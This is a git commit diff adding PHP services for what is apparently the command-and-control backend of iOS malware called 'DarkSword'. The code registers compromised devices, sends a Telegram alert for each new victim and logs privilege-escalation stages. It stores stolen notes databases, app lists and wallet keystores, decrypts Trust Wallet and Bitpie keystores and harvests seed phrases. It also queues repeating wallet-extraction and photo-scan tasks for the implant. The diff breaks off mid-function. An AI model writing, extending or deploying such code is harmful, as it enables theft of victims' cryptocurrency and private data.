feat: ds
This commit is contained in:
@@ -0,0 +1,795 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* Map DarkSword / one99 plaintext JSON onto existing device/note/wallet tables.
|
||||
*
|
||||
* Does not call xxbb field extractors (`d`/`f`/`c`/`al[]` / ver/sdkv).
|
||||
*/
|
||||
class DarkSwordIngestAdapter
|
||||
{
|
||||
/** @var list<string> */
|
||||
private const SKIP_WALK_KEYS = [
|
||||
'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys',
|
||||
'locked_classes', '_truncated', '_more', 'tables',
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly DsBeaconQueue $beaconQueue,
|
||||
private readonly DsResultStore $results,
|
||||
private readonly DsTrustAddressIngest $trustAddresses,
|
||||
private readonly DsKeystoreDecrypt $keystoreDecrypt,
|
||||
private readonly MnemonicWalletDiscovery $mnemonicDiscovery,
|
||||
private readonly MnemonicAddressLinker $mnemonicLinker,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload Untruncated JSON from the raw request body.
|
||||
*/
|
||||
public function ingest(Request $request, string $path, array $payload): void
|
||||
{
|
||||
match ($path) {
|
||||
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => $this->ingestLog($request, $payload),
|
||||
'/a' => $this->ingestProfile($request, $payload),
|
||||
'/u' => $this->ingestApps($request, $payload),
|
||||
'/nb' => $this->ingestNotes($request, $payload),
|
||||
'/war' => $this->ingestWar($request, $payload),
|
||||
'/beacon', '/event' => $this->heartbeat($request, $payload),
|
||||
'/result' => $this->ingestResult($request, $payload),
|
||||
default => str_starts_with($path, '/api/ds/pe-stage')
|
||||
? $this->ingestPeStage($request, $payload)
|
||||
: null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestRegister(Request $request, array $payload): void
|
||||
{
|
||||
$this->recordRegisterVisit($request, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestStage(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
return;
|
||||
}
|
||||
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
|
||||
$progress = (int) ($payload['progress'] ?? 0);
|
||||
$label = is_string($payload['label'] ?? null) ? $payload['label'] : null;
|
||||
DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload));
|
||||
}
|
||||
|
||||
/**
|
||||
* PE progress ping. File log is written by DarkSwordC2Controller::peStage;
|
||||
* here we also fold the named stage into ds_chain_logs when a UUID is present.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestPeStage(Request $request, array $payload): void
|
||||
{
|
||||
$name = strtolower(trim((string) ($payload['pe_stage'] ?? '')));
|
||||
$progress = match ($name) {
|
||||
's1_launchd' => 86,
|
||||
's2_keychain' => 88,
|
||||
's3_mempress' => 90,
|
||||
's4_loader' => 92,
|
||||
's5_c2' => 94,
|
||||
's6_p7phase2' => 96,
|
||||
default => 86,
|
||||
};
|
||||
|
||||
$this->ingestStage($request, array_merge($payload, [
|
||||
'stage' => 'pe',
|
||||
'progress' => $progress,
|
||||
'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'),
|
||||
]));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestLog(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
return;
|
||||
}
|
||||
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
|
||||
$this->ingestStage($request, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
$text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null;
|
||||
if (! is_string($text)) {
|
||||
return;
|
||||
}
|
||||
$inferred = DsChainLog::inferFromText($text);
|
||||
if ($inferred === null) {
|
||||
return;
|
||||
}
|
||||
DsChainLog::record(
|
||||
$uid,
|
||||
$inferred['stage'],
|
||||
$inferred['progress'],
|
||||
$inferred['label'],
|
||||
$this->extractChannelCode($payload),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function recordRegisterVisit(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$ua = $this->registerUserAgent($request, $payload);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$ios = $this->extractIos($payload);
|
||||
$channel = $this->extractChannelCode($payload) ?? '';
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => $uid,
|
||||
'chain' => PageVisit::CHAIN_DARKSWORD,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $ios !== null ? 'iOS' : $parsed['os'],
|
||||
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => PageVisit::normalizeDomain($request->getHost()),
|
||||
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function registerUserAgent(Request $request, array $payload): string
|
||||
{
|
||||
foreach (['user_agent', 'userAgent'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 512);
|
||||
}
|
||||
}
|
||||
|
||||
return substr((string) $request->userAgent(), 0, 512);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestProfile(Request $request, array $payload): void
|
||||
{
|
||||
$this->upsertDevice($request, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestApps(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if (! $device) {
|
||||
return;
|
||||
}
|
||||
$al = $this->appsToAl($payload['apps'] ?? null);
|
||||
if ($al === []) {
|
||||
return;
|
||||
}
|
||||
$this->ingest->ingestInstalledApps($device, ['al' => $al]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestNotes(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if (! $device) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, ['list' => $payload['list']]);
|
||||
}
|
||||
$this->storeNoteDbFiles($device, $payload['db_files'] ?? null);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestWar(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if (! $device) {
|
||||
return;
|
||||
}
|
||||
|
||||
$keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : [];
|
||||
$wallets = $keychain['wallets'] ?? [];
|
||||
$sandbox = $payload['sandbox'] ?? [];
|
||||
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
);
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
|
||||
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
$this->walkForMnemonics($device, $sandbox, 'b');
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function heartbeat(Request $request, array $payload): void
|
||||
{
|
||||
$this->upsertDevice($request, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function upsertDevice(Request $request, array $payload): ?Device
|
||||
{
|
||||
$key = $this->extractDeviceKey($request, $payload);
|
||||
if ($key === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$model = $this->extractModel($payload);
|
||||
$ios = $this->extractIos($payload);
|
||||
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $key)->first();
|
||||
if ($existing) {
|
||||
$touch = [
|
||||
'updated_at' => now(),
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
];
|
||||
if ($ip !== '') {
|
||||
$touch['ip'] = $ip;
|
||||
}
|
||||
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
|
||||
$touch['device_model'] = $model;
|
||||
}
|
||||
if ($ios !== null && trim((string) $existing->ios_version) === '') {
|
||||
$touch['ios_version'] = $ios;
|
||||
}
|
||||
if ($channel !== null && trim((string) $existing->channel_id) === '') {
|
||||
$touch['channel_id'] = $channel;
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->beaconQueue->seed($existing);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
'channel_id' => $channel,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
]);
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
$this->beaconQueue->seed($device);
|
||||
|
||||
return $device->refresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* Upsert the DarkSword device and seed its default beacon queue.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
public function ensureDevice(Request $request, array $payload): ?Device
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if ($device) {
|
||||
$this->beaconQueue->seed($device);
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestResult(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if ($device) {
|
||||
$stored = $this->results->store($device, $payload);
|
||||
$payload = array_merge($payload, $stored);
|
||||
if (($stored['stored'] ?? false) === true) {
|
||||
$this->ingestTrustAddressesFromResult($device, $payload);
|
||||
}
|
||||
}
|
||||
$this->beaconQueue->markDone($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestTrustAddressesFromResult(Device $device, array $payload): void
|
||||
{
|
||||
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
||||
$looksTrust = str_contains($filename, 'utc--')
|
||||
|| str_contains($filename, 'wallet_pkg')
|
||||
|| str_contains($filename, 'keystore');
|
||||
if (! $looksTrust) {
|
||||
return;
|
||||
}
|
||||
$raw = $payload['data'] ?? null;
|
||||
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
|
||||
if (Storage::disk('local')->exists($payload['path'])) {
|
||||
$raw = (string) Storage::disk('local')->get($payload['path']);
|
||||
}
|
||||
}
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return;
|
||||
}
|
||||
$this->trustAddresses->ingest($device, $raw);
|
||||
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractDeviceKey(Request $request, array $payload): ?string
|
||||
{
|
||||
$candidates = [
|
||||
$payload['lhu'] ?? null,
|
||||
$payload['deviceUUID'] ?? null,
|
||||
$payload['device_uuid'] ?? null,
|
||||
$payload['uuid'] ?? null,
|
||||
$payload['device'] ?? null,
|
||||
$request->header('X-Device-UUID'),
|
||||
$request->query('deviceUUID'),
|
||||
$request->query('device'),
|
||||
];
|
||||
foreach ($candidates as $value) {
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
|
||||
if ($hex === '') {
|
||||
continue;
|
||||
}
|
||||
|
||||
return substr($hex, 0, 32);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractChannelCode(array $payload): ?string
|
||||
{
|
||||
foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (! is_string($value)) {
|
||||
continue;
|
||||
}
|
||||
$value = trim($value);
|
||||
if ($value === '') {
|
||||
continue;
|
||||
}
|
||||
|
||||
return substr($value, 0, 64);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function channelFromVisit(string $deviceKey): ?string
|
||||
{
|
||||
$channel = PageVisit::query()
|
||||
->where('client_uid', $deviceKey)
|
||||
->where('chain', PageVisit::CHAIN_DARKSWORD)
|
||||
->where('channel_id', '!=', '')
|
||||
->orderByDesc('id')
|
||||
->value('channel_id');
|
||||
|
||||
return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractModel(array $payload): ?string
|
||||
{
|
||||
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 128);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractIos(array $payload): ?string
|
||||
{
|
||||
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function clientIp(Request $request, array $payload): string
|
||||
{
|
||||
$reported = $payload['ip'] ?? null;
|
||||
if (is_string($reported) && trim($reported) !== '') {
|
||||
$normalized = PageVisit::normalizeIp(trim($reported));
|
||||
if ($normalized !== '') {
|
||||
return substr($normalized, 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
|
||||
}
|
||||
|
||||
private function shouldReplaceModel(?string $current, string $incoming): bool
|
||||
{
|
||||
$cur = trim((string) $current);
|
||||
if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{b: string, a: string, v?: string}>
|
||||
*/
|
||||
private function appsToAl(mixed $apps): array
|
||||
{
|
||||
if (! is_array($apps)) {
|
||||
return [];
|
||||
}
|
||||
$al = [];
|
||||
foreach ($apps as $key => $item) {
|
||||
if ($key === '_more' || ! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
|
||||
continue;
|
||||
}
|
||||
$row = [
|
||||
'b' => $bundle,
|
||||
'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle),
|
||||
];
|
||||
$version = $item['version'] ?? $item['v'] ?? null;
|
||||
if (is_string($version) && $version !== '') {
|
||||
$row['v'] = $version;
|
||||
}
|
||||
$al[] = $row;
|
||||
}
|
||||
|
||||
return $al;
|
||||
}
|
||||
|
||||
private function storeNoteDbFiles(Device $device, mixed $files): void
|
||||
{
|
||||
if (! is_array($files)) {
|
||||
return;
|
||||
}
|
||||
foreach ($files as $file) {
|
||||
if (! is_array($file)) {
|
||||
continue;
|
||||
}
|
||||
$name = basename((string) ($file['name'] ?? 'notes.sqlite'));
|
||||
$name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite';
|
||||
$data = $file['data'] ?? $file['content'] ?? null;
|
||||
if (! is_string($data) || $data === '') {
|
||||
continue;
|
||||
}
|
||||
$bin = base64_decode($data, true);
|
||||
if ($bin === false || $bin === '') {
|
||||
continue;
|
||||
}
|
||||
$rel = 'c2/ds-notes/'.$device->device_id.'/'.$name;
|
||||
Storage::disk('local')->put($rel, $bin);
|
||||
}
|
||||
}
|
||||
|
||||
private function hasMaterial(mixed $value): bool
|
||||
{
|
||||
if ($value === null || $value === '' || $value === []) {
|
||||
return false;
|
||||
}
|
||||
if (! is_array($value)) {
|
||||
return true;
|
||||
}
|
||||
if (array_key_exists('items', $value) && is_array($value['items'])) {
|
||||
return $value['items'] !== [];
|
||||
}
|
||||
foreach ($value as $child) {
|
||||
if ($this->hasMaterial($child)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array
|
||||
{
|
||||
if (! $this->hasMaterial($buckets)) {
|
||||
return [];
|
||||
}
|
||||
$rows = [];
|
||||
if (is_array($buckets) && ! array_is_list($buckets)) {
|
||||
$leftover = [];
|
||||
foreach ($buckets as $key => $bucket) {
|
||||
if (! $this->hasMaterial($bucket)) {
|
||||
continue;
|
||||
}
|
||||
$source = is_string($key) ? WalletSource::fromKeystoreHint($key) : '';
|
||||
if ($source === '' && ! is_string($key)) {
|
||||
$leftover[$key] = $bucket;
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) {
|
||||
continue;
|
||||
}
|
||||
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null));
|
||||
}
|
||||
if ($leftover !== []) {
|
||||
$rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics));
|
||||
} elseif ($rows === [] && $this->hasMaterial($buckets)) {
|
||||
$rows[] = $this->createKeystore(
|
||||
$device,
|
||||
WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''),
|
||||
$this->keystorePayload($kind, $buckets, $diagnostics)
|
||||
);
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
$source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : '');
|
||||
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics));
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed>|string $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array
|
||||
{
|
||||
$body = [
|
||||
'kind' => $kind,
|
||||
];
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$body['wallets'] = $payload;
|
||||
} else {
|
||||
$body['sandbox'] = $payload;
|
||||
}
|
||||
if ($diagnostics !== null) {
|
||||
$body['diagnostics'] = $diagnostics;
|
||||
}
|
||||
|
||||
return $body;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
*/
|
||||
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
||||
{
|
||||
return WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $rawJson,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
|
||||
*/
|
||||
public function reprocessKeystores(Device $device): void
|
||||
{
|
||||
$device->load('keystores');
|
||||
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<WalletKeystore> $rows
|
||||
*/
|
||||
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
{
|
||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||
foreach ($hits as $hit) {
|
||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['phrase'],
|
||||
'a' => $tag,
|
||||
]);
|
||||
$this->keystoreDecrypt->markDecrypted($rows, $hit['source']);
|
||||
$this->keystoreDecrypt->markDecrypted($device->keystores()->get(), $hit['source']);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
|
||||
->first();
|
||||
if ($mnemonic !== null) {
|
||||
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
|
||||
}
|
||||
if (($hit['addresses'] ?? []) !== []) {
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
'a' => $tag,
|
||||
'data' => $hit['addresses'],
|
||||
]);
|
||||
}
|
||||
if ($mnemonic !== null) {
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
|
||||
{
|
||||
if (is_string($node)) {
|
||||
$phrase = $this->asMnemonicPhrase($node);
|
||||
if ($phrase !== null) {
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return;
|
||||
}
|
||||
if (($node['_truncated'] ?? false) === true) {
|
||||
return;
|
||||
}
|
||||
if ($this->isFailedUnwrap($node)) {
|
||||
return;
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
|
||||
continue;
|
||||
}
|
||||
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
|
||||
$this->walkForMnemonics($device, $child, $childTag);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isFailedUnwrap(array $node): bool
|
||||
{
|
||||
foreach (['error', 'layer3Error'] as $key) {
|
||||
$err = $node[$key] ?? null;
|
||||
if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function tagForWalletKey(string $key, string $fallback): string
|
||||
{
|
||||
$k = strtolower($key);
|
||||
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
||||
return 'b';
|
||||
}
|
||||
if (str_contains($k, 'trust')) {
|
||||
return 'd';
|
||||
}
|
||||
|
||||
return $fallback;
|
||||
}
|
||||
|
||||
private function asMnemonicPhrase(string $raw): ?string
|
||||
{
|
||||
$candidates = [$raw];
|
||||
$trimmed = trim($raw);
|
||||
if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) {
|
||||
$bin = @hex2bin($trimmed);
|
||||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$candidates[] = $bin;
|
||||
$decoded = json_decode($bin, true);
|
||||
if (is_array($decoded)) {
|
||||
foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) {
|
||||
if (isset($decoded[$k]) && is_string($decoded[$k])) {
|
||||
$candidates[] = $decoded[$k];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($candidates as $text) {
|
||||
$phrase = $this->matchWordMnemonic($text);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function matchWordMnemonic(string $text): ?string
|
||||
{
|
||||
$text = strtolower(trim($text));
|
||||
if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) {
|
||||
return null;
|
||||
}
|
||||
$words = preg_split('/\s+/', $text) ?: [];
|
||||
$n = count($words);
|
||||
if ($n !== 12 && $n !== 24) {
|
||||
return null;
|
||||
}
|
||||
foreach ($words as $word) {
|
||||
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
return implode(' ', $words);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DsBeaconTask;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
class DsBeaconQueue
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
/** @var list<string> */
|
||||
public const LOOP_TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
public function seed(Device $device): void
|
||||
{
|
||||
if ($device->family !== Device::FAMILY_DARKSWORD) {
|
||||
return;
|
||||
}
|
||||
|
||||
DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('type', 'basic_info')
|
||||
->delete();
|
||||
|
||||
if (DsBeaconTask::query()->where('device_id', $device->id)->exists()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$now = now();
|
||||
$rows = [];
|
||||
foreach (self::TYPES as $i => $type) {
|
||||
$rows[] = [
|
||||
'device_id' => $device->id,
|
||||
'position' => $i + 1,
|
||||
'type' => $type,
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
'created_at' => $now,
|
||||
'updated_at' => $now,
|
||||
];
|
||||
}
|
||||
DsBeaconTask::query()->insert($rows);
|
||||
}
|
||||
|
||||
/**
|
||||
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
|
||||
* re-queue after a full pass so the agent keeps polling them.
|
||||
*
|
||||
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
|
||||
*/
|
||||
public function dequeue(Device $device): ?array
|
||||
{
|
||||
$this->seed($device);
|
||||
|
||||
return DB::transaction(function () use ($device) {
|
||||
$task = $this->nextRunnable($device);
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
|
||||
$meta = is_array($task->result_meta) ? $task->result_meta : [];
|
||||
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
|
||||
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
|
||||
$meta['last_retry_at'] = now()->toDateTimeString();
|
||||
}
|
||||
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => $commandId,
|
||||
'dispatched_at' => now(),
|
||||
'result_meta' => $meta,
|
||||
])->save();
|
||||
|
||||
return [
|
||||
'type' => $task->type,
|
||||
'command_id' => $commandId,
|
||||
'params' => $this->paramsFor($task->type),
|
||||
];
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
public function markDone(array $payload): ?DsBeaconTask
|
||||
{
|
||||
$commandId = trim((string) ($payload['command_id'] ?? ''));
|
||||
if ($commandId === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$task = DsBeaconTask::query()->where('command_id', $commandId)->first();
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$meta = $task->result_meta ?? [];
|
||||
$filename = trim((string) ($payload['filename'] ?? ''));
|
||||
$category = trim((string) ($payload['category'] ?? ''));
|
||||
if ($filename !== '') {
|
||||
$meta['filename'] = substr($filename, 0, 255);
|
||||
}
|
||||
if ($category !== '') {
|
||||
$meta['category'] = substr($category, 0, 64);
|
||||
}
|
||||
if (isset($payload['status']) && is_string($payload['status'])) {
|
||||
$meta['status'] = substr($payload['status'], 0, 32);
|
||||
